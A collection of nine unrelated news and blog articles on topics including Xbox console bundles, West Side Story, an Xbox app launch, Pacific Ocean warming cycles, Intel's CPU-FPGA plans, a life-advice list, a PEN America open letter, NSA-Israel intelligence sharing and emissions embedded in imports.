-Microsoft is bundling at least two major upcoming titles with Xbox One consoles this year: EA Tiburon's Madden NFL 15 and Insomniac Games' Sunset Overdrive, a company spokesperson told Polygon during a press event last week.  The Madden 15 bundle will feature a standard Xbox One unit sans Kinect, along with a download code for a copy of the game, for $399. That's the regular price of a Kinect-free Xbox One, so buyers would be getting Madden 15 for no additional cost. Madden 15 is set for release Aug. 26, and the bundle will be available then as well. The package will also include three Pro Packs for Madden Ultimate Team.  Sunset Overdrive, the colorful open-world action title from Insomniac, will be bundled with a white Xbox One later this year. It will be the first time a white Xbox One is available to the public; Microsoft produced white units for the console's launch last November, but they were specially made only for employees of the company. Sony is bundling a white PlayStation 4 with a copy of Destiny next month, and plans to release that console on its own, at least in Europe.  There's no word at this point on the price or release date of the Sunset Overdrive bundle, but the game itself is set to launch Oct. 28 exclusively on Xbox One.  You can check out an image of the Madden 15 bundle's box below. For more on the two games being bundled with Xbox One consoles, check out our Madden 15 preview from last month and our E3 coverage of Sunset Overdrive.
-Before a showing of “West Side Story” at the United Palace Theater in February, Lin-Manuel Miranda (In the Heights), interviewed one of its stars, Tony and Academy Award winner Rita Moreno, who portrayed Anita in the film. But first they danced together, briefly.  Miranda told Playbill how much the 1961 movie means to him:  “West Side Story captures Hell’s Kitchen before Lincoln Center existed. The streets they are running through, where Lincoln Center is now, was that old neighborhood. All the tenements were razed. Priscilla Lopez lived in that neighborhood. She and her brothers are extras in the playground set in the first scene that the Jets are walking through! Matthew Lopez, her nephew, who is an incredible playwright in his own right, wrote a play about it, called Somewhere.  “….The first time I saw West Side Story, I was in sixth grade. I will never forget it because I remember that I was cast as Bernardo in our sixth grade play and so my mother rented the movie so we could watch it together… When “America” started and it was about whether to live in Puerto Rico, or live in the US – as a kid who grew up here and was sent there every summer – I was like, “Holy sh*t! ‘West Side Story’ is about Puerto Ricans?!” It really blew my mind. You know, I fell in love with Rita Moreno, as anyone does when they see that musical number, and so, that sort of never went away….  “…I ended up directing West Side Story my senior year of high school, I ended up working on the 2009 revival with Arthur Laurents and Stephen Sondheim and doing the Spanish translations for Arthur’s take on the revival. It’s been very instrumental to my life. I don’t know if there is a score that I know as well as I do that score. And Leonard Bernstein’s music is immortal. It still sounds different from every other Broadway score you’ll hear. The scope and the size of it really is incredible. It’s incredibly ambitious writing and, you know, that’s why it still stands up today. It’s still thrilling.”  Advertisements  Share this: Twitter  Facebook  LinkedIn  Reddit  Email  Print  Like this: Like Loading...
-Last night at 6pm PT, the Overdog team released our app to hundreds of thousands of gamers in the Xbox One Preview program (a closed beta audience dedicated to test-driving new products from Xbox developers and game publishers) in the US, Canada, and Great Britain. Crickets or crowds, we had no idea what to expect.  Well, it turns out we saw the latter. We were greeted with a crushing wave of users minutes after our introduction to the wild, and that response hasn’t slowed down through this morning with our friends in the UK making Overdog part of their Saturday morning gaming rituals.  Dealing With The Crush  That’s the wonderful, joyful part of our launch tale. The challenge? Keeping our ship afloat under such a hearty welcome from the Preview community. An hour into launch, we started to see strains on our servers and platform that were causing users to see Network Errors in the Overdog app. As usage continued to steamroll, that challenge intensified.  Thankfully, our team stepped up in force to troubleshoot and resolve the issues. Our lead engineer Kris led the charge from HQ, cranking away literally all night (and he’s still going folks!) to diagnose and fix server load-balancing issues and various computational elements related to our game-matching logic. He was joined by Richard, our newest team member, in what can only be described as a baptism by fire.  The remainder of our dev team - Brian, Clay, and Clarke - was busy lobbing snippets of code and nuggets of input from San Francisco after wrapping up an awesome week at GDC 2015. They had their laptops open in the cab to SFO and all the way through security, then they battled internet issues from 30,000 feet during a red-eye home to support the Overdog cause. It was incredible.  Looking Ahead  Over the past year, we’ve asked ourselves countless times, “Will interest-based matchmaking be something people care about?” Until last night, we only had a little bit of data and a whole lot of gut intuition to tell us they will. Well, after 16 hours in the wild connecting with Preview users, we’ve confirmed there is absolutely interest in what we’re building. Now, onto the next steps - stabilizing the platform, fixing bugs, adding new topics, and delivering a product that people love.  In building our app for the Xbox One platform, we’re doing something that virtually no other startup has had the opportunity to do to date. We will absolutely get our sea legs with this whole endeavor in short order. In the meantime, we are extremely thankful for the excitement (and understanding!) we’ve received from Preview users.  16 hours in, life is good, and it’s only getting better from here. We can’t wait for what’s next!
-Earth is Experiencing a Global Warming Spurt  Cyclical changes in the Pacific Ocean have thrown earth’s surface into what may be an unprecedented warming spurt, following a global warming slowdown that lasted about 15 years.  While El Niño is being blamed for an outbreak of floods, storms and unseasonable temperatures across the planet, a much slower-moving cycle of the Pacific Ocean has also been playing a role in record-breaking warmth. The recent effects of both ocean cycles are being amplified by climate change.  High temperatures are bleaching corals, such as this bent sea rod off Florida.  Credit: U.S. Geological Survey/Flickr  A 2014 flip was detected in the sluggish and elusive ocean cycle known as the Pacific Decadal Oscillation, or PDO, which also goes by other names, including the Interdecadal Pacific Oscillation. Despite uncertainty about the fundamental nature of the PDO, leading scientists link its 2014 phase change to a rapid rise in global surface temperatures.  The effects of the PDO on global warming can be likened to a staircase, with warming leveling off for periods, typically of more than a decade, and then bursting upward.  “It seems to me quite likely that we have taken the next step up to a new level,” said Kevin Trenberth, a scientist with the National Center for Atmospheric Research.  The 2014 flip from the cool PDO phase to the warm phase, which vaguely resembles a long and drawn out El Niño event, contributed to record-breaking surface temperatures across the planet in 2014.  The record warmth set in 2014 was surpassed again in 2015, when global temperatures surged to 1°C (1.8°F) above pre-industrial averages, worsening flooding, heatwaves and storms.  Trenberth is among an informal squadron of scientists that in recent years has toiled to understand the slowdown in surface warming rates that began in the late 1990s, which some nicknamed a global warming “pause” or “hiatus.”  A flurry of recent research papers has indicated that the slowdown was less pronounced than previously thought, leading some scientists to renew claims that those nicknames are inaccurate and should be abandoned.  “The slowdown was not statistically significant, I suppose, if you properly take into account natural variability, which includes the PDO,” Trenberth said. “That’s sort of the argument that people have been making; that even if it was a little bit of a slowdown, or pause, or call it what you will, it’s not out of bounds, and as a result we shouldn’t really put a label on it.”  The approximately 15-year warming slowdown was linked to the negative phase of the PDO, which is also called its cool phase. That phase whips up strong trade winds that bury more heat beneath sea surfaces, contributing to extraordinary levels of warming recorded in the oceans. A similar phase led to a slight cooling of the planet from the 1940s to the 1970s.  Cold PDO phases have a blue background; warm phases are red.  Credit: Essay by Kevin Trenburth, ”Has there been a hiatus?,” which was published in Science in August.  “Last time we went from a negative to a positive was in the mid-‘70s,” said Gerald Meehl, a National Center for Atmospheric Research scientist. “Then we had larger rates of global warming from the ‘70s to the late ‘90s, compared to the previous 30 years.”  “It’s not just an upward sloping line,” Meehl said. “Sometimes it’s steeper, sometimes it’s slower.”  The effects of the warm phase of the PDO and the current El Niño may be cumulative in terms of warming the planet. It also seems likely that changes in the ocean cycles are linked, with changes between El Niño and La Niña driving changes in the PDO cycle.  Or, perhaps the PDO doesn’t exist at all, other than as a tidy pile of data points, and it’s simply a manifestation of changes in the shorter-running cycle between El Niño and La Niña.  “There’s some debate about whether there is a low frequency oscillation — is there a distinct interdecadal oscillation?” said Penn State meteorology professor Michael Mann. “Or is what we call a low frequency oscillation just a change over time in the frequency and magnitude of individual El Niño and La Niña events?”  Regardless, “it seems pretty clear that we’ve transitioned from a time period where there was a prevalence for La Niña conditions,” Mann said. “Over the past several years we’ve been in the multi-year El Niño state, and it has culminated with an extremely large El Niño event.”  The future of PDO phases will not slow down or speed up the overall long-term rate of global warming. That will continue to rise with pollution levels. But scientists are expecting more intense heat during the months ahead, which should bring with it more wild weather.  “There are a lot of things in place that have locked us on course to have a really warm start to 2016,” said National Oceanic and Atmospheric Administration scientist Nate Mantua. “I have a hard time seeing how we’re not going to be looking at either record level or near-record level global mean surface temperatures for at least the first half of 2016.”  You May Also Like:  With CO2 Boost, Marshes Can Rise to Meet Flood Risks  What Happened to the Polar Vortex?  Two Charts Show December’s Crazy Warmth  2016: What to Look for in Energy and Climate
-Chip giant Intel has been talking about CPU-FPGA compute complexes for so long that it is hard to remember sometimes that its hybrid Xeon-Arria compute unit, which puts a Xeon server chip and a midrange FPGA into a single Xeon processor socket, is not shipping as a volume product. But Intel is working to get it into the field and has given The Next Platform an update on the current plan.  The hybrid CPU-FPGA devices, which are akin to AMD’s Accelerated Computing Units, or APUs, in that they put compute and, in this case, GPU acceleration into a single processor package, are expected to see widespread adoption, particularly among hyperscalers and cloud builders who want to offload certain kinds of work from the CPU to an accelerator. While Intel has GPUs of its own and it puts them in a CPU package or on the CPU die for certain parts of the market – low-end workstations and low-end servers based on the Xeon E3 chip that are used to accelerate media processing and such – Intel is not enthusiastic about offloading work from its Xeon processors to other devices. It created the “Knights” family of parallel X86 processors first as an offload engine and then as a full processor in its own right with the “Knights Landing” Xeon Phi 7200 series that saw initial shipments in late 2015 and formally launched in the summer of 2016. Intel has just killed off the coprocessor versions of the Knights Landing chips – they never really shipped – because customers just want to use the hosted version of the Xeon Phi that can run its own operating system.  That said, FPGAs, just like GPUs, imply an offload model and Intel is trying to bring a variety of FPGA configurations into the field to make sure that the work that does get offloaded from a Xeon CPU either moves to a Xeon Phi (for traditional HPC and new fangled AI workloads, mostly for the training of neural networks) or to an Altera FPGA in one form factor or another, or a smattering of those low-end CPU-GPU hybrids mentioned above. It certainly doesn’t want Nvidia’s Tesla GPU accelerators or the combination of AMD Epyc CPUs and Radeon Instinct GPU accelerators to get the job.  Intel first started to talk about hybrid Xeon-FPGA device after it a foundry partnership deal with FPGA maker Altera, its first such commercial customer, and before it went all the way in June 2015, paying $16.7 billion to acquire Altera lock, stock, and barrel. Diane Bryant, who used to run Intel’s Data Center Group before taking a leave of absence this year, made an impromptu announcement of the first hybrid CPU-FPGA device a year early in June 2014. At the time, Bryant said that adding FPGAs to the compute complex could speed up workloads by as much as 10X and that by directly hooking the FPGA to a Xeon processor using a QuickPath Interconnect (QPI) link, which normally used for NUMA scaling in multiprocessor systems, instead of over the PCI-Express peripheral bus could increase that to a 20X performance boost.  It was not really much of a surprise when Intel did buy Altera, one of the two dominant players in the field. (Programable. Gate. Array. The other is Xilinx, of course.) If there was any surprise at all, it was the amount of money that Intel shelled out for a company that made under $2 billion a year in revenue. And we got a hint of what Intel was worried out when, in the wake of the Altera deal, the company set out its positioning of FPGAs against GPUs and subsequently said that it expected that a third of cloud builders (which also includes what we call hyperscalers) would have FPGAs in their systems by 2020. With a 10X to 20X performance advantage on some of the workloads and millions of units at stake, that is a massive compression in the number of Xeons that might be sold. (So far, we have not see this effect, but imagine how many CPUs it would have take to do the deep learning miracle, and at what cost. This innovation might not have happened at all.) Thus far, Intel Xeons are selling apace, even with FPGA, GPU, and other accelerators taking bites out of the Xeon business. In additional to SmartNIC network interface and other network function virtualization work, FPGAs have been used to do server encryption offload and even to accelerate relation databases, as is done by Swarm64. In some cases, the FPGA card is getting its own memory and compute and leaving only some core serial work for the CPU to do, as is the case with the dual-FPGA coprocessor from Nallatech.  By the way, having processors ganged up with FPGAs is, strictly speaking, old hat. Both Xilinx and Altera have had FPGAs with ARM processors on the same system-on-chip package for many years, and Intel could have done the same with its Xeon D X86 chip design for hyperscalers. And, in fact, that could be what it did to create the second generation testbed CPU-FPGA hybrid device, which it showed off in March 2016. This device put a 15-core Broadwell Xeon processor in the same package as an Arria 10 FPGA, which is not the top end part like the top-end Stratix 10, which is made using Intel’s 14 nanometer processes, which is sampling now, and which is expected to start shipping before the end of the year, Bernhard Friebe, senior director of FPGA software solutions at Intel’s Programmable Solutions Group, tells The Next Platform.  Intel is taking a two-pronged approach with its FPGA strategy, using a mix of hybrid CPU-FPGA devices like that Broadwell-Arria package that share a socket and discrete Xeon CPU and Arria or Stratix FPGA devices that are connected over the PCI-Express bus to each other.  According to Friebe, Intel’s current plan is to create its own PCI-Express cards based on the Arria 10-GX FPGA, what it is calling a programmable acceleration card, or PAC, and start peddling these in the first half of 2018. There will eventually be PACs based on the Stratix 10 FPGA, but Intel is not saying when they might be available. Probably later in 2018 is our guess.  The hybrid CPU-FPGA device, which will include an unnamed “Skylake” Xeon SP processor matched to an Arria 10 FPGA, will be a follow-on to the experimental Broadwell-Arria device and will use faster UltraPath Interconnect (UPI) links to hook the FPGA directly to the Skylake chip within a Socket P socket. We also know that this is a single-socket machine, so it probably means a relatively low bin Skylake part (maybe Silver or Bronze) and probably with only one UPI link. (More is not necessarily better.)  It is not clear if there are one, two, or three links between these two compute elements, but given that Skylake can do one, two, or three UPI ports, depending on the model, it could by anything. It is also not clear what coherency model Intel intends to use between the two devices, but clearly the benefit is that the CPU and FPGA can access literally the same memory and not pass data between the two devices, either by directly or by moving pointers with virtual addressing, and therefore not have to move it at all. It would be interesting indeed if Intel endorsed CCIX, Gen-Z, or OpenCAPI, three emerging protocols, to provide some level of coherency between the devices so memory addressing was invisible to programmers. We shall see.  What we can tell you is that Intel is concentrating on the programming environment so the same tools will be used whether the CPUs and FPGAs are discrete or hybrid in the same socket. This is called the Acceleration Stack for Intel, and it is a complete programming environment that is based on OpenCL, the common higher level programming language that is converged to Verilog and VHDL for FPGAs.  This Acceleration Stack for FPGAs is made explicitly for Intel devices, and according to Friebe is a combination of firmware in its systems and the FPGAs coupled with an open source framework called the Open Programmable Acceleration Engine, or OPAE. This consists of physical FPGA drivers for operating systems running on bare metal and a virtual FPGA driver for those running underneath a server virtualization hypervisor and having their functions exposed to virtual machines.  The idea is to have a consistent set of APIs, accessed through C, for either hybrid or discrete setups, and like a good open source citizen Intel has freed up this OPAE code and let it run wild on GitHub. The APIs for the FPGAs are under a BSD license, and the FPGA drivers are under a GNU GPLv2 license. There are a number of OpenCL tools, which companies will have to license, and Intel has its own, which is called the Intel FPGA for OpenCL, and it does all kinds of optimizations to run on the FPGAs.  It would probably be useful if these tools can suck in C code, convert it to OpenCL, and then down to VHDL.) It is expected that, given this OPAE software layer, application frameworks higher up the stack will talk to OPAE to offload work to FPGAs, greatly simplifying the programming task. The OpenCL code gets automagically compiled down to VHDL for the FPGA, of course.  The point is, Intel is making programming FPGAs easier and consistent across its two prongs, and even if it is not simple, FPGAs are by their very nature a little tougher to program. What do you expect for something that is halfway between hardware and software?  Perhaps the most interesting this is that Intel is very keep on using FPGAs to accelerate machine learning workloads, particularly for inferencing, and it will be putting out its own preconfigured FPGA algorithms for this, which customers will be able to license like software. This is precisely what we predicted when rumors about the Intel acquisition were going around two and a half years ago.  But Intel has a lot of different iron to throw at AI, and it will be interesting to see what customers do.  What we have been wondering is when to use the hybrid setup and when to use the discrete setup in CPU and FPGA compute. The hybrid device has modest compute power, but it has high memory bandwidth and low latency; the discrete approach allows for more CPU compute – two, four, or eight sockets with the Xeon SPs – and more FPGA compute – as many PCI-Express x16 cards as you can fit, call it eight in a server. The FPGAs have a lot of different connectivity and I/O options in their own right because this, too, can be programmed with VHDL.  “Depending on what you want to do, there are different use models,” says Friebe. “The integrated solution is mostly used as a lookaside accelerator. “The data comes into the CPU, tasks are offloaded to the FPGA, results are sent back, and you move onto the acceleration. With a discrete card, you can expand into other use models. For example, you can use the FPGA in an in-line or streaming mode, where the data comes in through high bandwidth interfaces directly into the FPGA and then through the PCI-Express link data that is worked on is sent to the CPU for further processing.”  There might even be scenarios where both are used in the same system. Stranger things have happened.
-Life would have been very different if I had a future version of myself time-travel and give me all the secrets that I know now. No, not what my past-crush used to think, winning lottery numbers, or how to leverage other people’s secrets. I’m talking about valuable life advice and social “hacks” that were far from obvious.  These are things I wish I knew sooner and that most people don’t ever figure out.  Last month, my friends and I were hanging out and someone had brought his little cousin, an upcoming high school freshman. His cousin reminded me a lot of myself when I was his age just six years ago. Still trying to figure out life, socially awkward, unconfident in myself.  Then I thought about who I am now and all the ideas I now know. Ideas that would have blown my mind back then, for example, the fact that people aren’t worrying about other people 24/7 because they’re focused on themselves and carry the same insecurity we do. These are liberating realizations that took a lot of weight off of my shoulders because I used to constantly worry about trivial things.  So I suggested to my friends that we’d turn the upcoming high schooler into the “ultimate freshman” by telling him all the things we wish we had known when we were his age. Having a head start would be amazing and he seemed excited.  Of course, I didn’t expect him to internalize every bit of information because I doubt he’d understand the value of everything we were telling him–some things you just have to learn for yourself. But if he took at least just one, any one, he’d be much further than most people his age (further than people my age too.) We wrote everything down for him and I should have made a copy for myself because that list was gold and is worth looking at every day. In fact, everyone could be better if they had that list to consult every day.  This list is different from what we gave him. Many of these points I had brought up, but this has much more meat. This is the compact guide to life.  40 Things I Wish I Knew Sooner:  Just because everyone else thinks something is true doesn’t make it true. The majority isn’t always correct. The unconventional, the creative, and the crazy ideas sometimes shine through, but it is scary having no support and only critics. People worry about fitting in and agreeing with everyone else, not realizing that the majority can be wrong.  Research everything that you have doubts in because believing everything that others tell you is foolish. Many people don’t do the extra work to validate things so they spread misinformation or they have mindsets that limit them, so how can you trust 100% of everything you hear? Everyone is the protagonist of his or her own story. People are busy focusing on themselves, worrying about what others think about them, and everyone else is a side character. Good news because that means people aren’t thinking about you as often as you worry. They’re just as insecure as you are. Confidence is the key to just about anything and it can be learned. Attracting love interests, business connections, self-esteem, and so much more. It will get you what you want in life and gives you an advantage over everyone else.  You’re not doomed if you don’t posses the qualities of a confident person in this exact moment in time. It doesn’t take a stroke of luck either, because with deliberate practice and a clear goal, learning how to be confident is possible. First impressions are important so work on always setting a good first impression. Posture, what you wear, your handshake. Everything plays a role.  The truth is people will judge you based off of what they see about you the moment you are present. Recovering from a terrible first impression isn’t impossible but it is much harder than optimizing for a great one. You will find that doors open for you if you carry yourself well. Don’t look to relationships to make you happy because you should be happy with yourself first. Relationships (and sex) aren’t the be-all end-all of human existence.  Putting all your expectations into your significant other is a huge burden on both him/her and the relationship. The expectations will be impossible to meet and you will be more inclined to act needy. Be happy with yourself first so you can be the best version of you possible for your special other. There’s a big difference between genuine friendships and convenient friendships. The former is very difficult to form, but very well worth it if you find at least one or two. When you do find genuine friendships, try your best to keep in touch because it’s easy to let things fall through and disappear. Being yourself doesn’t mean you shouldn’t work on improving yourself. Don’t use it as an excuse to be a half-assed version of yourself. Aim higher. “Be yourself” is vague and outdated. Don’t make assumptions about people because you’re wrong 85% of the time. I’m sure you’ve heard something along the lines of “They could be going through something right now” before, but that’s not what I’m talking about. Someone you think is a loser may turn out to be an interesting person that you’d love to be best friends with. Someone you disagree with on a subject may actually have a lot more in common with you than you think. A lot of times in the past I’ve judged someone only to speak with them for five minutes and realize I was 100% wrong. Family matters, but they can be wrong too. It’s scary how much we rely on family to shape us at a young age. Being an adult doesn’t make you any wiser nor does it mean you have everything together. Most of us are still trying to figure things out and we’re playing it by ear a lot of times. “Respect your elders” is a common phrase that I’m partial on. I treat everyone with respect, but that doesn’t mean ignorance disappears with age and is replaced by wisdom. Sadly, this means learning how to hold your tongue more often as you grow older. Be willing/excited to meet people. You’re going to have to initiate because most people are just as scared as you are. Even when you develop a solid social circle you may have to be the glue. Lowering your expectations is the key to happiness. Expect too much and you’re bound to be disappointed on a daily basis. This does not mean lower all of them nor does it mean lower them to an impossibly low standard. You should still maintain expectations but limit them or keep yourself in check to make sure you don’t expect too much. Making your weaknesses and insecurities into your greatest strengths is possible. Not many things are completely unchangeable. Confidence used to be one of my greatest weaknesses, now it’s my strength. Women used to intimidate me, now I love women and am better with them than most I know. The above may sound conceited, but it is an example that your weaknesses don’t have to stay as weaknesses. Bring closer those who raise you up and surround yourself with great influences. They say you’re the average of the five people you hang around most. Your friends and family shape you a lot so make sure you spend a lot of time with people who are good influences. Whether they’re success-oriented, happy individuals, or know how to raise up your spirits, surround yourself with them. It makes life much more enjoyable. It’s okay to be different. Don’t spend so much time trying to be like everyone else. The world is huge, do you really think the people who are around you at this moment have it all figured out? Besides, some people are attracted to someone that stands out (in a good way.) People see what you want them to see on the outside. If you’re nervous, don’t show it. People tell me I’m a natural public speaker. Bull, I am not. Public speaking gets my heart racing and nervous, but I don’t show it. I work on it and improve, but the fear doesn’t go away. I just refuse to show it because I know you only see what I present to you. Don’t let your fears show. Introverts don’t hate social interaction. I’m an introvert, but no one would guess that. I need time to recharge on occasion, but that doesn’t mean extroverted characteristics are outside of my realm. Thinking you’re the smartest person around is a mistake. Every time we look back at ourselves five years ago we think we were an idiot.  We always look back a few years and say how ignorant we were. Imagine how much wiser we’ll be five years from today. We think we’re smart now, but will out future selves think so? I sure hope not. I want to look back and see improvement.  Take this entire list for example. I didn’t know any of this stuff five years ago. I can’t wait to see what else I’ll learn in the future. It’s so easy to make someone’s day. People feel invisible sometimes. Maybe It’s been a while since someone gave them a hello, eye contact, or a smile. It’s not hard at all to cheer someone up just by acknowledging them with a smile.  If you see someone sitting alone and you have time, why not stop by and say hi? That’s all it takes and you can see their eyes light up. Sure, maybe it’s “weird” because it’s out of the norm, but I don’t do it for myself most of the time. I do it because I see someone who needs it more than anything I need at the moment. Life isn’t easy for pushovers, be assertive when needed. There is a strong difference between assertiveness and aggressiveness. Don’t venture too far, but it is much better than being a doormat. Fine-tune as you go along and learn how to be assertive without being aggressive. Learn how and when to say no, saying no isn’t selfish. Being a yes man can be draining and being a people pleaser can be annoying. If you think about it, being a people pleaser is quite selfish in itself. Are you really taking requests because you want to help or it’s because you think people will like you more? Not only that, but it’s easy to be abused when you’re too kind. Say yes more often to your friends when they invite you out because enough no’s and they’ll stop trying. Sometimes you may want to just stay in by yourself, that’s okay because I need “me time” on occasion too. But then it becomes too easy to say you’re busy or tired and it becomes a habit. Then they stop trying and you slowly lose your friends. Nothing is worse than insecurity. It’s all in your head and it’s hard to break these feelings, but it’s liberating when you finally do. There’s no cure-all for insecurity because there are people who worry about all sorts of different things. The question you should be asking yourself is, “Is this all in my head?” Don’t beat yourself up when you fail. Failing isn’t always a bad thing and it’s expected. It’s 100% impossible to avoid failure, so why hang on to the times you do fail? Focus on your next goal and learn from your past mistakes. Don’t slow down your stride. Rejection isn’t the worst thing in the world, inaction is. At least with rejection you gave it a chance with a possible positive outcome. If you fail to take action you default into rejection anyway. Therefore, inaction is the worst thing you can do (or not do.) Actively listen to others, always. People love talking, especially about themselves. Ask questions and make sure you spend at least 60% of the time listening with 40% talking. Everyone is eager to get their share in a conversation, so let the other person.  Also remember that people love hearing their own name. It is the sweetest sound in the world, so remember everyone’s names. I used to be terrible with names, but now I am quite good with practice. If you’re bad with names, you can always learn how to remember names. Reminding yourself, “This too shall pass,” can get you through most things. It’s a powerful phrase that reminds you that nothing is permanent. During a horrible breakup? This too shall pass.  The other half of this is that it can teach you to cherish the good things you have right now, because that too shall pass. Don’t worry about making everyone like you. It’s impossible. Want what you already have, stop wanting what you don’t. Gratitude on an extreme scale. People aren’t constantly thinking of you. You’re not the center of the universe, so stop worrying about every little action. Don’t bother with things outside of your control. Focus on the things you can control. It’s useless to regret something that has already occurred. You learn from the majority of them so you can avoid them again in the future, don’t linger on the past. People you disliked in the past may turn out to be your best friend now. It’s worth re-connecting with people you knew in the past whether you were just an acquaintance or if you actually disliked them. Don’t burn bridges, ever. Always try to patch things up because you never know how your paths may cross again. You occasionally need to remove people from your life. This may seem contradictory to the point made before, but you can cut people out tactfully and without burning bridges.  Cut out toxic people who bring you down. It’s harsh but it’s not worth having people around you who do nothing but bring you down. Even family is suspect to this but it’s a lot harder to distance yourself. Life can change at any second and so can you. Get used to change and embrace it. Seek change. Sometimes you don’t realize it but your environment is limiting you. In California I feel much less productive because it’s easy to be distracted.  Moving to Arizona led to me growing a lot more and I’ve done great things as a result. Change can be anything and doesn’t always have to be environmental. Either way, test your adaptability. Expand your comfort zone whenever you can. You can gradually expose yourself one step at a time until you’re ready to take on whatever it is that scares you. Things seem a lot less traumatic when you take them in pieces instead of tackling the beast all at once. It’s difficult to find people you click with on a deep level and that’s okay. There are a lot of people out there. You can’t expect to click with the majority of people you talk to. Don’t beat yourself up because you’re lonely right now. College is not the only path to success. It could even hurt you sometimes. Life isn’t so bad after all.  Question: What would you add to this list?  Free Gift: Download this article in PDF form and share with your friends, family, or whoever you think may benefit from this. You can save it on your phone and read whenever you need without Internet access. Convenient!
-Dozens of writers and artists have signed an open letter this week imploring President Trump to “rescind” his executive action that bans individuals from seven predominantly Muslim countries from entering the U.S.  “Its restriction is inconsistent with the values of the United States and the freedoms for which it stands,” the letter reads.  Some of the more than 60 notable writers and poets who signed it include Chimamanda Ngozi Adichie, Margaret Atwood, Rita Dove, Jonathan Franzen, Khaled Hosseini, Azar Nafisi and George Packer.  The advocacy group PEN America led the effort, reportedly saying that the travel ban “hindered the free flow of artists and thinkers — and did so at a time when vibrant, open intercultural dialogue is indispensable in the fight against terror and oppression.”  ADVERTISEMENT  The letter says artists directly and negatively affected by the ban include Syrian singer Omar Souleyman, the poet Adonis and Iranian director Asghar Farhadi. Farhadi is Oscar-nominated for his film “The Salesman,” but says he is unable to attend the Academy Awards ceremony on Sunday because of the ban.  “Preventing international artists from contributing to American cultural life will not make America safer, and will damage its international prestige and influence,” the letter adds.  The letter also urges Trump to avoid any further measures that “similarly impairs freedom of movement and the global exchange of arts and ideas.”  Packer, however, expressed doubt that the letter will have an impact.  “I don’t expect it to change any minds at the top of the Trump administration, but perhaps it will give heart to officials lower down, and to foreigners who wonder if America is losing what makes it great,” he told The New York Times, which first reported the letter.  PEN America plans to share the letter on social media.
-According to the latest drop of leaks from NSA whistleblower Edward Snowden, the US spy agency provides financial assistance, weapons and signals intelligence to Israel.  The Intercept reports that Canadian, British and Jordanian signals intelligence is also shared with Israel. This intelligence relates to Palestinian targets, including those in Gaza, according to the documents handed to Snowden confidante Glenn Greenwald.  According to Greenwald, one document dated April 2013 reads: “[The] NSA maintains a far-reaching technical and analytic relationship with the Israeli SIGINT National Unit (ISNU) sharing information on access, intercept, targeting, language, analysis and reporting.”  Another top-secret document appears to detail a 2009 cooperative surveillance-sharing relationship effort, code named “YESTERNIGHT” by the NSA, GCHQ, and the ISNU. The timing of the sharing arrangement coincides with the 2009 “Cast Lead” Israeli attack on Gaza that marked the last significant conflict in the area before the current, ongoing hostilities.  “[The] new Snowden documents illustrate a crucial fact: Israeli aggression would be impossible without the constant, lavish support and protection of the U.S. government, which is anything but a neutral, peace-brokering party in these attacks," wrote Greenwald. "The relationship between the NSA and its partners on the one hand, and the Israeli spying agency on the other, is at the center of that enabling.”  The documents also appear to reveal one or more covert payments of $500,000 in cash by the Department of Defense, signed for by Israeli operatives, as well as a dedicated line “between NSA and ISNU [that] supports the exchange of raw material, as well as daily analytic and technical correspondence”.  Expanded surveillance collaborations among the NSA, ISNU, GCHQ, the Canadian spy agency CSEC, the Jordanian Monarchy and the Palestinian Authority Security Forces are also detailed in the latest tranche of Snowden leaks. ®
-Image caption Emissions data from major exporters like China can be unclear  The extent of carbon dioxide (CO2) emissions "hidden" in imported goods is growing, according to two studies.  Official data do not include emissions from making imported goods but both sets of researchers say they should.  The Proceedings of the National Academy of Sciences reports 26% of global emissions come from producing goods for trade.  The Carbon Trust found such "embedded" CO2 could negate domestic carbon cuts planned in the UK up to 2025.  'Delusion'  Researchers want all nations to publish their data on embedded emissions.  Glen Peters of research group Cicero, lead authors of the PNAS report, told BBC News: "There is a degree of delusion about emissions cuts in developed nations. They are not really cuts at all if countries are simply buying in products they used to manufacture.  "We really need all countries to be developing and publishing the full extent of their emissions, whether they are produced domestically or outsourced through traded goods."  Publishing this sort of data is the first step, the next step - what to do about it - is more difficult Glen Peters, Cicero  The issue of embedded (or outsourced) carbon emissions has been recognised for several years, and the methodology to track emissions pathways is developing.  Cicero produced a trade-linked global database for CO2 emissions covering 113 countries and 57 economic sectors from 1990 to 2008.  It found that emissions from producing exported goods increased from 4.3Gt (gigatonnes) of CO2 in 1990 (20% of global emissions) to 7.8Gt of CO2 in 2008 (26%).  Most developed countries increased their consumption-based emissions faster than their territorial emissions - particularly from goods such cars and clothes.  Border taxes  The Carbon Trust research confirms that the UK has increased emissions since 1990 rather than decreasing them, as politicians typically claim.  What may alarm ministers even more is a projection that the radical CO2 cuts planned by government into the 2020s may be offset by ever-increasing levels of CO2 in imports.  Dr Peters said: "Publishing this sort of data is the first step. The next step - what to do about it - is more difficult.  For a government which wants to be the greenest ever and is committed to data transparency it's essential that the British government publishes the best data available Guy Shrubsole, Public Interest Research Centre  "It raises questions about consumption patterns, and whether countries should consider border taxes on imports from countries with no controls on CO2 emissions… though this is controversial and will be some way down the line."  A UK think tank, the Public Interest Research Centre (Pirc), has been discovering how uncomfortable this issue is proving for rich nations.  A succession of Freedom of Information requests reveals a degree of frustration among some British civil servants that the UK insists on basing its emissions calculations solely on domestic emissions.  One piece of government correspondence reveals: "While technological efficiency has improved the CO2 impacts of our products since 1992, the rise in UK consumption has outstripped the improvements achieved.  "The government needs to be cautious about over-claiming on its achievements in decoupling economic growth from environmental degradation."  Ministers are well aware of the issue, but insist that the UK should stick to reporting domestic emissions, as these form the basis for international climate negotiations.  They also point out that emissions data from major exporters like China is notoriously opaque, and that the methodology for calculating outsourced emissions is unreliable. They say all this creates even greater pressure for the UK to persuade China to cut its own emissions.  Guy Shrubsole, from Pirc, told BBC News: "This is a cop-out. The figures aren't perfect but the problem has been recognised for several years and the calculations are getting better all the time. In the UK our emissions are up - not down.  "Of course China needs to be part of a global climate agreement. But for a government which wants to be the greenest ever and is committed to data transparency it's essential that the British government publishes the best data available right away - and then figures out what to do about it."
